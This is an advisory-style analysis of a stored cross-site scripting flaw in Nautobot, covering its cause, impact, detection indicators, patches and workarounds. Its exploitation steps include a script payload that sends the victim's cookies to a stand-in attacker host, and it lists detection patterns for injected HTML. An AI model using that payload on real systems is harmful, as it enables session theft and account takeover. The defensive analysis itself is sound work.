CVE-2026-83801: 
Python 취약성 분석 및 완화

CVE-2026-83801 is a stored cross-site scripting (XSS) vulnerability in Nautobot, a Network Source of Truth and Network Automation Platform. It affects all versions prior to 2.4.37 and versions 3.0.0 through 3.1.7 (prior to 3.1.8). The vulnerability was disclosed on July 17, 2026, with the GitHub Security Advisory (GHSA-56v6-2fhr-wxgq) published the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory).

The root cause is improper neutralization of user-controlled input before it is placed in web page output (CWE-79). Specifically, two model fields — a Relationship's description and a Module Family's name — are assigned verbatim to Django form field help_text values, which are then rendered via render_field.html using Django's |safe filter, bypassing auto-escaping. An attacker with extras.add_relationship or extras.change_relationship permissions can inject an HTML/JavaScript payload into a Relationship description; similarly, a user with dcim.add_modulefamily or dcim.change_modulefamily permissions can inject into a Module Family name. The fix replaces the unsafe f-string interpolation with django.utils.html.format_html for Module Family names and routes Relationship descriptions through a render_markdown function backed by the nh3 sanitizer, stripping disallowed tags while preserving legitimate Markdown (GitHub Advisory, Patch 3.1.x, Patch 2.4.x).

Successful exploitation allows stored JavaScript to execute in the authenticated browser session of any user — including administrators and superusers — who opens an affected object create or edit form. This can result in session or API token theft, unauthorized actions performed as the victim, and privilege escalation from a low-privileged user to full administrative control of the Nautobot instance. Because Nautobot manages network infrastructure configuration, a compromised administrator account could enable further lateral movement into managed network devices (GitHub Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with specific low-privileged permissions and a victim user to open an affected form, limiting opportunistic exploitation but making it viable in targeted insider or supply-chain scenarios.

1. Obtain low-privileged access: Acquire an account with extras.add_relationship, extras.change_relationship, dcim.add_modulefamily, or dcim.change_modulefamily permissions on the target Nautobot instance.
2. Inject payload via Relationship description: Navigate to the Relationship create/edit form and set the description field to a JavaScript payload such as <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. Alternatively, set a Module Family name to a similar payload.
3. Persist the payload: Save the Relationship or Module Family object. The malicious content is stored in the database without sanitization in vulnerable versions.
4. Wait for victim interaction: The payload executes automatically in the browser of any authenticated user (including admins) who opens a create or edit form for any object type the Relationship applies to, or the Module "Install module" form for a module bay assigned to the malicious Module Family.
5. Harvest session tokens or perform actions: The executing script can exfiltrate session cookies or API tokens to an attacker-controlled server, or silently perform API calls as the victim to create accounts, modify configurations, or escalate privileges (GitHub Advisory).

• Logs: Nautobot audit/change logs showing creation or modification of Relationship objects with description fields containing <script>, javascript:, onerror=, onload=, or other HTML event handler patterns; similar anomalies in Module Family name fields.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after accessing Nautobot create/edit forms, potentially carrying encoded cookie or token data in query parameters.
• Application Data: Relationship description or Module Family name values in the database containing raw HTML tags or JavaScript — query the database for fields matching patterns like %<script%, %javascript:%, or %on[a-z]+=.
• Authentication: Unexpected API token usage or new user/permission changes in Nautobot audit logs that do not correspond to known administrator activity, which may indicate post-exploitation actions performed via stolen tokens.

Upgrade Nautobot to version 2.4.37 (for the 2.x branch) or 3.1.8 (for the 3.x branch), both released on July 17, 2026 (v2.4.37 Release, v3.1.8 Release). There is no configuration-only fix. As a temporary workaround prior to patching: restrict extras.add_relationship, extras.change_relationship, dcim.add_modulefamily, and dcim.change_modulefamily permissions to fully trusted administrators only, and audit existing Relationship description and Module Family name values for embedded HTML or JavaScript payloads and remove any found (GitHub Advisory). Users on end-of-life Nautobot v1.x are also affected and should upgrade to a supported version.

The vulnerability was credited to researcher Habibullo Izzatilloyev (GitHub handle: pirate077000) and disclosed responsibly through GitHub's security advisory process (GitHub Advisory). No significant broader media coverage or notable public researcher commentary beyond the official advisory has been observed at this time.